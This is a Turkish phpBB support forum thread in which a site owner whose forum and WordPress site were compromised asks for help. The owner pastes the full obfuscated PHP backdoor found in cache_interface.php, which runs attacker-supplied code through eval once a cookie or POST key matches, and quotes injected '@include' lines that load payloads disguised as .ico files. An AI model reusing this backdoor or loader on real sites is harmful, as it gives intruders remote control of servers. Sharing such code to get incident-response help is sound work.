Fatal error: Namespace declaration statement has to be the very first statement in the script in

phpBB 3.2.x sürümlerinin çalıştırılması ve kurulumu ile ilgili yardımı buradan alabilirsiniz. Lütfen Eklentiler ile ilgili sorunlarınızı buraya yazmayın.
Cevapla
copyas
Eklenti Özelleştirme Ekibi Üyesi
Eklenti Özelleştirme Ekibi Üyesi
Mesajlar: 346
Kayıt: 13.11.2016, 06:36

Fatal error: Namespace declaration statement has to be the very first statement in the script in

Mesaj gönderen copyas »

Merhaba

Hiçbir şey ile uğraşmamış olmama rağmen arkadaşların haber vermesiyle forumun açılmadığını öğrendim. Kendiliğinden oluvermiş. Forumu açmaya çalıştığımızda :

Fatal error: Namespace declaration statement has to be the very first statement in the script in /home/u7016264/public_html/forum/phpbb/textformatter/cache_interface.php on line 14

Böyle birşey başına gelen var mı?
copyas
Eklenti Özelleştirme Ekibi Üyesi
Eklenti Özelleştirme Ekibi Üyesi
Mesajlar: 346
Kayıt: 13.11.2016, 06:36

Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in

Mesaj gönderen copyas »

Sorunu çözdüm.

Sorunum sadece forum ile ilgili değil aynı zamanda wordpress ile kurduğum web sayfasında da problem vardı. İkisi aynı anda gitti.

Hosting firmasını aradım ve hiçbir şey ile uğraşmamış olmama rağmen sorun yaşadığımı belirttim. Kendileri tarafından altyapısal bir güncelleme mi yapıldı ya da herhangi bir değişiklik mi diye ama herhangi bir değişiklik yapılmadığını söylediler. Bu problemi de benim çözmem gerektiğini söylediler.

Bunun üzerine hata mesajında yazılan dosyaları tekrar açtım. Daha önce de bakmıştım ama bu sefer yedeklerden felan elimde bulunan diğer dosyalarla karşılaştırdım. Uzunca bir tabi ne olduğunu anlamadığım kodlar vardı. Hepsini sildim.

cache_interface.php dosyası aslında şöyle başlıyormuş :
<?php

/**

*

* This file is part of the phpBB Forum Software package.
Bendeki ise böyleydi ve bu kısımları silince forum geri geldi. Fakat böyle birşey nasıl oldu anlamadım. Dışardan bir müdahale var mıdır ?
<?php $o19467ed4 = 531;$GLOBALS['x589496a8']=Array();global$x589496a8;$x589496a8=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['b783a']="\x9\x68\x5c\x36\x20\x6f\x4d\xa\x3f\x59\x63\x67\x3d\x37\x62\x40\x6d\x29\x3e\x2b\x70\x3a\x5f\x46\x2f\x35\x7b\x66\x7d\x3c\x58\x30\x39\x6a\x5d\x4e\xd\x5e\x6c\x7c\x53\x5a\x44\x3b\x6b\x72\x76\x41\x23\x2a\x21\x24\x28\x45\x5b\x65\x51\x31\x47\x2d\x2c\x79\x77\x42\x52\x71\x48\x4b\x33\x34\x73\x4f\x4c\x60\x7e\x57\x75\x64\x55\x74\x54\x50\x61\x26\x7a\x6e\x4a\x78\x22\x32\x56\x49\x38\x25\x2e\x69\x27\x43";$x589496a8[$x589496a8['b783a'][62].$x589496a8['b783a'][82].$x589496a8['b783a'][68].$x589496a8['b783a'][10].$x589496a8['b783a'][89]]=$x589496a8['b783a'][10].$x589496a8['b783a'][1].$x589496a8['b783a'][45];$x589496a8[$x589496a8['b783a'][61].$x589496a8['b783a'][3].$x589496a8['b783a'][32].$x589496a8['b783a'][10].$x589496a8['b783a'][31].$x589496a8['b783a'][89]]=$x589496a8['b783a'][5].$x589496a8['b783a'][45].$x589496a8['b783a'][77];$x589496a8[$x589496a8['b783a'][77].$x589496a8['b783a'][14].$x589496a8['b783a'][27].$x589496a8['b783a'][57].$x589496a8['b783a'][57].$x589496a8['b783a'][14].$x589496a8['b783a'][3]]=$x589496a8['b783a'][70].$x589496a8['b783a'][79].$x589496a8['b783a'][45].$x589496a8['b783a'][38].$x589496a8['b783a'][55].$x589496a8['b783a'][85];$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][13].$x589496a8['b783a'][89].$x589496a8['b783a'][55]]=$x589496a8['b783a'][95].$x589496a8['b783a'][85].$x589496a8['b783a'][95].$x589496a8['b783a'][22].$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][79];$x589496a8[$x589496a8['b783a'][87].$x589496a8['b783a'][32].$x589496a8['b783a'][68].$x589496a8['b783a'][57].$x589496a8['b783a'][57]]=$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][95].$x589496a8['b783a'][82].$x589496a8['b783a'][38].$x589496a8['b783a'][95].$x589496a8['b783a'][84].$x589496a8['b783a'][55];$x589496a8[$x589496a8['b783a'][11].$x589496a8['b783a'][77].$x589496a8['b783a'][10].$x589496a8['b783a'][57]]=$x589496a8['b783a'][20].$x589496a8['b783a'][1].$x589496a8['b783a'][20].$x589496a8['b783a'][46].$x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][70].$x589496a8['b783a'][95].$x589496a8['b783a'][5].$x589496a8['b783a'][85];$x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][55].$x589496a8['b783a'][25].$x589496a8['b783a'][27]]=$x589496a8['b783a'][76].$x589496a8['b783a'][85].$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][95].$x589496a8['b783a'][82].$x589496a8['b783a'][38].$x589496a8['b783a'][95].$x589496a8['b783a'][84].$x589496a8['b783a'][55];$x589496a8[$x589496a8['b783a'][82].$x589496a8['b783a'][57].$x589496a8['b783a'][10].$x589496a8['b783a'][89].$x589496a8['b783a'][31]]=$x589496a8['b783a'][14].$x589496a8['b783a'][82].$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][3].$x589496a8['b783a'][69].$x589496a8['b783a'][22].$x589496a8['b783a'][77].$x589496a8['b783a'][55].$x589496a8['b783a'][10].$x589496a8['b783a'][5].$x589496a8['b783a'][77].$x589496a8['b783a'][55];$x589496a8[$x589496a8['b783a'][46].$x589496a8['b783a'][32].$x589496a8['b783a'][27].$x589496a8['b783a'][3].$x589496a8['b783a'][57].$x589496a8['b783a'][25]]=$x589496a8['b783a'][70].$x589496a8['b783a'][55].$x589496a8['b783a'][79].$x589496a8['b783a'][22].$x589496a8['b783a'][79].$x589496a8['b783a'][95].$x589496a8['b783a'][16].$x589496a8['b783a'][55].$x589496a8['b783a'][22].$x589496a8['b783a'][38].$x589496a8['b783a'][95].$x589496a8['b783a'][16].$x589496a8['b783a'][95].$x589496a8['b783a'][79];$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][92].$x589496a8['b783a'][89].$x589496a8['b783a'][32].$x589496a8['b783a'][55].$x589496a8['b783a'][69].$x589496a8['b783a'][77].$x589496a8['b783a'][27]]=$x589496a8['b783a'][82].$x589496a8['b783a'][32].$x589496a8['b783a'][31].$x589496a8['b783a'][3].$x589496a8['b783a'][69].$x589496a8['b783a'][57].$x589496a8['b783a'][92];$x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][68].$x589496a8['b783a'][3].$x589496a8['b783a'][57]]=$x589496a8['b783a'][84].$x589496a8['b783a'][57].$x589496a8['b783a'][31].$x589496a8['b783a'][77].$x589496a8['b783a'][13].$x589496a8['b783a'][10].$x589496a8['b783a'][3];$x589496a8[$x589496a8['b783a'][46].$x589496a8['b783a'][27].$x589496a8['b783a'][25].$x589496a8['b783a'][31]]=$_POST;$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][31].$x589496a8['b783a'][57].$x589496a8['b783a'][77].$x589496a8['b783a'][77].$x589496a8['b783a'][10].$x589496a8['b783a'][31]]=$_COOKIE;@$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][13].$x589496a8['b783a'][89].$x589496a8['b783a'][55]]($x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][45].$x589496a8['b783a'][5].$x589496a8['b783a'][45].$x589496a8['b783a'][22].$x589496a8['b783a'][38].$x589496a8['b783a'][5].$x589496a8['b783a'][11],NULL);@$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][13].$x589496a8['b783a'][89].$x589496a8['b783a'][55]]($x589496a8['b783a'][38].$x589496a8['b783a'][5].$x589496a8['b783a'][11].$x589496a8['b783a'][22].$x589496a8['b783a'][55].$x589496a8['b783a'][45].$x589496a8['b783a'][45].$x589496a8['b783a'][5].$x589496a8['b783a'][45].$x589496a8['b783a'][70],0);@$x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][13].$x589496a8['b783a'][89].$x589496a8['b783a'][55]]($x589496a8['b783a'][16].$x589496a8['b783a'][82].$x589496a8['b783a'][87].$x589496a8['b783a'][22].$x589496a8['b783a'][55].$x589496a8['b783a'][87].$x589496a8['b783a'][55].$x589496a8['b783a'][10].$x589496a8['b783a'][76].$x589496a8['b783a'][79].$x589496a8['b783a'][95].$x589496a8['b783a'][5].$x589496a8['b783a'][85].$x589496a8['b783a'][22].$x589496a8['b783a'][79].$x589496a8['b783a'][95].$x589496a8['b783a'][16].$x589496a8['b783a'][55],0);@$x589496a8[$x589496a8['b783a'][46].$x589496a8['b783a'][32].$x589496a8['b783a'][27].$x589496a8['b783a'][3].$x589496a8['b783a'][57].$x589496a8['b783a'][25]](0);$ic69015f=NULL;$i4c985565=NULL;$x589496a8[$x589496a8['b783a'][44].$x589496a8['b783a'][3].$x589496a8['b783a'][57].$x589496a8['b783a'][31].$x589496a8['b783a'][3].$x589496a8['b783a'][10].$x589496a8['b783a'][92].$x589496a8['b783a'][25].$x589496a8['b783a'][25]]=$x589496a8['b783a'][13].$x589496a8['b783a'][57].$x589496a8['b783a'][82].$x589496a8['b783a'][31].$x589496a8['b783a'][55].$x589496a8['b783a'][14].$x589496a8['b783a'][92].$x589496a8['b783a'][55].$x589496a8['b783a'][59].$x589496a8['b783a'][69].$x589496a8['b783a'][14].$x589496a8['b783a'][92].$x589496a8['b783a'][55].$x589496a8['b783a'][59].$x589496a8['b783a'][69].$x589496a8['b783a'][69].$x589496a8['b783a'][77].$x589496a8['b783a'][69].$x589496a8['b783a'][59].$x589496a8['b783a'][14].$x589496a8['b783a'][32].$x589496a8['b783a'][13].$x589496a8['b783a'][68].$x589496a8['b783a'][59].$x589496a8['b783a'][82].$x589496a8['b783a'][14].$x589496a8['b783a'][82].$x589496a8['b783a'][3].$x589496a8['b783a'][57].$x589496a8['b783a'][89].$x589496a8['b783a'][77].$x589496a8['b783a'][3].$x589496a8['b783a'][31].$x589496a8['b783a'][69].$x589496a8['b783a'][3].$x589496a8['b783a'][25];global$k6106c855;function z10d7c6($ic69015f,$o072){global$x589496a8;$w09e09="";for($h1fcab=0;$h1fcab<$x589496a8[$x589496a8['b783a'][77].$x589496a8['b783a'][14].$x589496a8['b783a'][27].$x589496a8['b783a'][57].$x589496a8['b783a'][57].$x589496a8['b783a'][14].$x589496a8['b783a'][3]]($ic69015f);){for($gde9e72a9=0;$gde9e72a9<$x589496a8[$x589496a8['b783a'][77].$x589496a8['b783a'][14].$x589496a8['b783a'][27].$x589496a8['b783a'][57].$x589496a8['b783a'][57].$x589496a8['b783a'][14].$x589496a8['b783a'][3]]($o072)&&$h1fcab<$x589496a8[$x589496a8['b783a'][77].$x589496a8['b783a'][14].$x589496a8['b783a'][27].$x589496a8['b783a'][57].$x589496a8['b783a'][57].$x589496a8['b783a'][14].$x589496a8['b783a'][3]]($ic69015f);$gde9e72a9++,$h1fcab++){$w09e09.=$x589496a8[$x589496a8['b783a'][62].$x589496a8['b783a'][82].$x589496a8['b783a'][68].$x589496a8['b783a'][10].$x589496a8['b783a'][89]]($x589496a8[$x589496a8['b783a'][61].$x589496a8['b783a'][3].$x589496a8['b783a'][32].$x589496a8['b783a'][10].$x589496a8['b783a'][31].$x589496a8['b783a'][89]]($ic69015f[$h1fcab])^$x589496a8[$x589496a8['b783a'][61].$x589496a8['b783a'][3].$x589496a8['b783a'][32].$x589496a8['b783a'][10].$x589496a8['b783a'][31].$x589496a8['b783a'][89]]($o072[$gde9e72a9]));}}return$w09e09;}function a906418($ic69015f,$o072){global$x589496a8;global$k6106c855;return$x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][68].$x589496a8['b783a'][3].$x589496a8['b783a'][57]]($x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][68].$x589496a8['b783a'][3].$x589496a8['b783a'][57]]($ic69015f,$k6106c855),$o072);}foreach($x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][31].$x589496a8['b783a'][57].$x589496a8['b783a'][77].$x589496a8['b783a'][77].$x589496a8['b783a'][10].$x589496a8['b783a'][31]]as$o072=>$d979){$ic69015f=$d979;$i4c985565=$o072;}if(!$ic69015f){foreach($x589496a8[$x589496a8['b783a'][46].$x589496a8['b783a'][27].$x589496a8['b783a'][25].$x589496a8['b783a'][31]]as$o072=>$d979){$ic69015f=$d979;$i4c985565=$o072;}}$ic69015f=@$x589496a8[$x589496a8['b783a'][79].$x589496a8['b783a'][55].$x589496a8['b783a'][25].$x589496a8['b783a'][27]]($x589496a8[$x589496a8['b783a'][1].$x589496a8['b783a'][57].$x589496a8['b783a'][92].$x589496a8['b783a'][89].$x589496a8['b783a'][32].$x589496a8['b783a'][55].$x589496a8['b783a'][69].$x589496a8['b783a'][77].$x589496a8['b783a'][27]]($x589496a8[$x589496a8['b783a'][82].$x589496a8['b783a'][57].$x589496a8['b783a'][10].$x589496a8['b783a'][89].$x589496a8['b783a'][31]]($ic69015f),$i4c985565));if(isset($ic69015f[$x589496a8['b783a'][82].$x589496a8['b783a'][44]])&&$k6106c855==$ic69015f[$x589496a8['b783a'][82].$x589496a8['b783a'][44]]){if($ic69015f[$x589496a8['b783a'][82]]==$x589496a8['b783a'][95]){$h1fcab=Array($x589496a8['b783a'][20].$x589496a8['b783a'][46]=>@$x589496a8[$x589496a8['b783a'][11].$x589496a8['b783a'][77].$x589496a8['b783a'][10].$x589496a8['b783a'][57]](),$x589496a8['b783a'][70].$x589496a8['b783a'][46]=>$x589496a8['b783a'][57].$x589496a8['b783a'][94].$x589496a8['b783a'][31].$x589496a8['b783a'][59].$x589496a8['b783a'][57],);echo@$x589496a8[$x589496a8['b783a'][87].$x589496a8['b783a'][32].$x589496a8['b783a'][68].$x589496a8['b783a'][57].$x589496a8['b783a'][57]]($h1fcab);}elseif($ic69015f[$x589496a8['b783a'][82]]==$x589496a8['b783a'][55]){eval/*q6d6090*/($ic69015f[$x589496a8['b783a'][77]]);}exit();} ?><?php
/**
*
* This file is part of the
Kullanıcı avatarı
ESQARE
Web Sitesi Yöneticisi
Web Sitesi Yöneticisi
Mesajlar: 6971
Kayıt: 18.09.2005, 20:51
İletişim:

Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in

Mesaj gönderen ESQARE »

Dosyanıza varsayılan sürümde olmayan kodlar eklenmiş. Bunun için öncelikle tüm dosya izinlerinizi (chmod) kontrol edin ve diğer dosyalarda bu tarz kodlar varsa orijinal haline getirin. Ayrıca hostinginizden yeterince güvenlik önlemleri almasını isteyin. Çünkü dosyalara sunucunuz içerisindeki herhangi bir hesap (account) üzerinden de müdahale olabilir
Resim
phpBB Eklenti Kurulumu | Kurallar | phpBB3 İzinleri | Otel Rehberi

Kurallarımız gereği lütfen özel mesaj ile yardım istemeyiniz, cevap vermiyoruz.
copyas
Eklenti Özelleştirme Ekibi Üyesi
Eklenti Özelleştirme Ekibi Üyesi
Mesajlar: 346
Kayıt: 13.11.2016, 06:36

Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in

Mesaj gönderen copyas »

Bu olaydan sonra bütün dosyaları gözden geçirdim. İzinlerini 644 olarak güncelledim. Bugün tekrar bi kontrol edeyim dedim yine bazı dosyaların izinleri 755 olmuş.

Örnek vermek gerekirse, store klasörü içine index.php diye bir dosya kendiliğinden oluşuyor. Bu dosyanın index.htm olması gerekiyor. Bu dosya da index.htm.bak.bak olarak çıkıyor. Bu index.htm.bak.bak dosyasının içindeki kodlarda bi bozulma-ekleme yok ama adı değişiyor. index.php dosyasının içinde de herhalinden belli saçma sapan kodlar var.

Bu index.php dosyasını siliyorum. Diğer dosyanın adını da orijinal hale getiriyorum. Sonra yeniden aynı işlem oluyor.

Bu sadece bir örnek. Başka yerlerde de buna benzer bikaç durum oluşuyor. Bütün dosya ve klasörleri tek tek taradım. Tespit edebildiklerimi temizledim veya sonradan eklenen kodları sildim.

Bu tarz dosyaları nasıl tespit ettiğime gelince de :
Last Modified ve Permissions bakıyorum. Bir terslik olduğunu anlıyorsunuz. Bunların içini açtığımda da tahmin edilen sonuç karşınıza çıkıyor.

Ne yapmam gerekiyor ?
En son copyas tarafından 08.09.2017, 14:42 tarihinde düzenlendi, toplamda 3 kere düzenlendi.
copyas
Eklenti Özelleştirme Ekibi Üyesi
Eklenti Özelleştirme Ekibi Üyesi
Mesajlar: 346
Kayıt: 13.11.2016, 06:36

Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in

Mesaj gönderen copyas »

Ana dizindeki yani config.php dosyasının bulunduğu dizinde olan index.php dosyasının içinde de araya şu tarz kodlar girmiş oluyor :
/*affb3*/

@include "\x2fhome\x2fu701\x36264/\x70ubli\x63_htm\x6c/for\x75m/ph\x70bb/r\x65port\x2ffavi\x63on_b\x6489a1\x2eico";

/*affb3*/


bu kodlar şunların arasında oluşuveriyor :
<?php
/**
*
* This file is part of the phpBB Forum Software package.


Bu temizlik işinden sonra veritabanı şifresi ftp şifresi gibi şifrelerimi de değiştirmiştim.
copyas
Eklenti Özelleştirme Ekibi Üyesi
Eklenti Özelleştirme Ekibi Üyesi
Mesajlar: 346
Kayıt: 13.11.2016, 06:36

Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in

Mesaj gönderen copyas »

Bir örnek daha, bu da files klasörü içinde bulunan index.php dosyasının içeriği :

<?php
/*f3cfe*/

@include "\x2fhome\x2fu701\x36264/\x70ubli\x63_htm\x6c/for\x75m/ve\x6edor/\x6fcram\x69us/f\x61vico\x6e_965\x6361.i\x63o";

/*f3cfe*/


echo file_get_contents('index.htm.bak.bak');


Böyle bir dosya normalde yok, index.htm olması gerekiyor ama bu dosyanın da adı değişiyor. Yukarda anlattığım gibi. Sanırım derdimi anlatabildim.

Tavsiye ve yardımlarınızı bekliyorum.
Kullanıcı avatarı
ESQARE
Web Sitesi Yöneticisi
Web Sitesi Yöneticisi
Mesajlar: 6971
Kayıt: 18.09.2005, 20:51
İletişim:

Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in

Mesaj gönderen ESQARE »

Hosting firmanızı uyarmanızı, çözüm bulamıyorlarsa değiştirmenizi öneririm. Gerekli güvenlik önlemlerini almaları gerekiyor. Bu tarz exploit saldırılarında şifre değiştirmeniz de işe yaramayabiliyor. Dosyalarınıza sunucu içerisinden bir açık sebebiyle müdahale olduğunu düşünüyorum.
Resim
phpBB Eklenti Kurulumu | Kurallar | phpBB3 İzinleri | Otel Rehberi

Kurallarımız gereği lütfen özel mesaj ile yardım istemeyiniz, cevap vermiyoruz.
copyas
Eklenti Özelleştirme Ekibi Üyesi
Eklenti Özelleştirme Ekibi Üyesi
Mesajlar: 346
Kayıt: 13.11.2016, 06:36

Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in

Mesaj gönderen copyas »

Sorumun özeti :
config.php dosyası ve /images, /store ve /files klasörleri haricindeki dosya ve klasörleri 3.2.1 paketinden çekerek, hem güncelleme işlemi yapmış hem de temizlik yapmış olurmuyum ?
Bu işlem ile içerik kaybı yaşarmıyım ?

Ayrıntılı şekilde aşağıda anlatmaya çalıştım.

Gelen cevap :
Standart yapımızda direkt hack durumlarının araştırılması veya da düzeltilmesi gibi bir durum bulunmamaktadır. Web alanınız kontrol edildiğinde illegal bir dosya görülmemektedir. Kendinizin tespit ettiği ve şuanda web alanınızda bulunan dosya isimlerini bizimle paylaşmanız halinde bu dosyaların ya da injection işlemlerinin nasıl yapıldığına dair sunucu ekibi tarafından detaylı inceleme yapılması sağlanabilecektir.
Tespit ettiğim dosyaları söyledim bakalım, çözüm bulamazlarsa dediğiniz gibi firma değişikliği yapacağım. Zaten teknik bilgim sınırlı, yeteri kadar destek de alamıyorum, yazılım desteğimiz yok diyerek bütün kullanıcıları webmaster sanıyorlar.

Bu arada sorunun kaynağı sanırım wordpress. phpBB forum burdan etkilendi diye düşünüyorum. Bütün bir temizlik yaptıktan sonra bile wordpress dosyalarım olan /public_html/.htaccess ile /public_html/index.php dosyalarında yeniden çıktı. Her ne oluyorsa önce bu dosyalara sonra diğer dosyalara sıçrıyor diye tahmin etmekteyim.

Şimdi aklıma takılan soru bu işi kökünden nasıl çözüme ulaştıracağım konusundadır. Diyelim hosting firmasını değiştirmeye karar verdim. Sistemi komple taşıyacağım fakat içinde zararlı yazılımla taşımak da istemiyorum. Ya tespit edemediğim dosyalar varsa ?

İlk sorum ki bunu hosting firmasına da sormuştum. Ben dosyaların kontrolünü yaptım. Veritabanına hiç ellemedim. Veritabanı içeriği nasıl kontrol edilir, mysql sorgusu yapılıyormuş okuduğum bazı yazılarda denk gelmiştim bu sorgu nasıl yapılır bilmiyorum. Sorum : Veritabanına bu tarz yazılımlar bulaşır mı ?

Firmanın cevabı : Veritabanınıza bulaşma sorunu olmaz ancak veritabanınızdaki verilerinize erişelebilir. Veritabanı şifrenizi değiştirmeniz ve hem sitenizin hem veritabanınızın yedeklerinizi almanız güvenliğiniz için iyi olacaktır.

Şimdi diyelim veritabanında bu tarz yazılımlar yok. Bu açıdan rahatız diyelim. Yeni firmaya geçişte de şifre veritabanı adı falan bütün bilgileri de değiştirdik mi veritabanı sorununu çözmüş oluyoruz diye düşünüyorum.

Fakat dosyaların içinde hala tespit edemediğim zararlı yazılım olabilir. Bütün sistemi, bütün dosyaları açıp tek tek kod kontrolü yapmak gerçekten uzun zaman isteyen imkansıza yakın bişey ki buna sabır da lazım.

Dosyaları güvenli şekilde aktarmak için de teknik bilgimin sınırları çerçevesinde aklıma şöyle bir yol geliyor :

3.2.0 sürümünü kullanıyorum şu an, bilerek 3.2.1 sürümüne güncelleme yapmadım. Bu olayları halledip öyle geçerim diyordum. Ayrıca dosyalar da güncelleneceği için kendiliğinden temizlik yapılmış olur diye düşünmekteyim.

phpBB 3.2.x güncelleme nasıl yapılır? başlığında anlattığınız üzere 4. maddedeki dosya ve klasörler sistemi olduğu gibi kullanmak içerik kaybı yaşamamak için bize gerekli olan dosya ve klasörler. Bütün klasör ve içindeki dosyaları hesaba kattığımız zaman kontrol edilemez ( zaman açısından ) gibi geliyor ama sadece bu klasör ve dosyalar kontrol edilebilir.

5. maddede /vendor ve /cache klasörlerini silin diyor. Bunlarla beraber 4.maddede söylenen config.php dosyasını, ve /images, /store ve /files klasörleri hariç bütün dosya ve klasörleri silsem içerik kaybı yaşarmıyım ?

config.php dosyası ve /images, /store ve /files klasörleri haricindeki dosya ve klasörleri 3.2.1 paketinden çekerim. Hem güncelleme işlemi yapmış hem de temizlik yapmış olurmuyum ?

Böyle bir işlem yaptığım zaman kaybedeceklerim aklıma geldiği ve bilgimin yettiği kadarı ile :
  • BBcode 'ları kaybederim ki yine yüklerim prob değil kaybetsem de
  • prosilver Special Edition teması kullanıyorum yeniden yüklerim prob değil
  • logo ve header fotosunu kaybedirim prob değil, yeniden yapılır
  • bikaç eklenti kurulu onları yeniden yüklerim, prob değil
Bunlar haricinde açtığım özel gruplar ve bu gruplara forum için verdiğim izinler var. Misafirlere tüm içerikleri göstermediğim gibi, bazı gruplar da forumun tamamını göremiyor. Bu tarz kullanıcı ve forum bazlı yaptığım değişiklik ya da verdiğim izinler nerde tutuluyor ? Bu ayarlamaları da kaybedermiyim yoksa bu ayarlar veritabanında mı saklı ?

Özeti :
config.php dosyası ve /images, /store ve /files klasörleri haricindeki dosya ve klasörleri 3.2.1 paketinden çekerek, hem güncelleme işlemi yapmış hem de temizlik yapmış olurmuyum ?
Bu işlem ile içerik kaybı yaşarmıyım ?
İçerikten kasıt mesajlardaki yazılar, mesajların içindeki [url] [img] bbcodelu link ve resimler, mesajlara doğrudan yüklenmiş resim, pdf dosyaları vb. Yukarda anlattığım tasarım bazlı içerik önemli değil benim için...
Kullanıcı avatarı
ESQARE
Web Sitesi Yöneticisi
Web Sitesi Yöneticisi
Mesajlar: 6971
Kayıt: 18.09.2005, 20:51
İletişim:

Re: Fatal error: Namespace declaration statement has to be the very first statement in the script in

Mesaj gönderen ESQARE »

phpBB 3.2.x güncelleme nasıl yapılır? konusunda da belirttiğimiz gibi güncellemeyi o şekilde yapabilirsiniz. Sonuç olarak içerik kaybı yaşamazsınız, çünkü mesajlar, forumlar, kategoriler v.b. tüm veriler dosyalarda değil veritabanında saklanmaktadır. Mesajlara ekli olan resim, pdf v.b. dosyalar /files dizininde; avatarlar, forum resimleri gibi resimler de /images dizinininde tutulur. /store dizininde YKP'den almış olduğunuz veritabanı yedeği saklanır.config.php dosyasında ise veritabanınıza bağlanmayı sağlayan bilgiler ve ayarlar bulunur.

Kullandığınız temaları güncelleme işleminden sonra son sürüme göre güncellemelisiniz. Yine de tüm bu işlemlerden önce olası her ihtimale karşı tüm site yedeğinizi alın.
Resim
phpBB Eklenti Kurulumu | Kurallar | phpBB3 İzinleri | Otel Rehberi

Kurallarımız gereği lütfen özel mesaj ile yardım istemeyiniz, cevap vermiyoruz.
Cevapla

“3.2.x Destek Forumu” sayfasına dön

Kimler çevrimiçi

Bu forumu görüntüleyen kullanıcılar: Hiç bir kayıtlı kullanıcı yok ve 5 misafir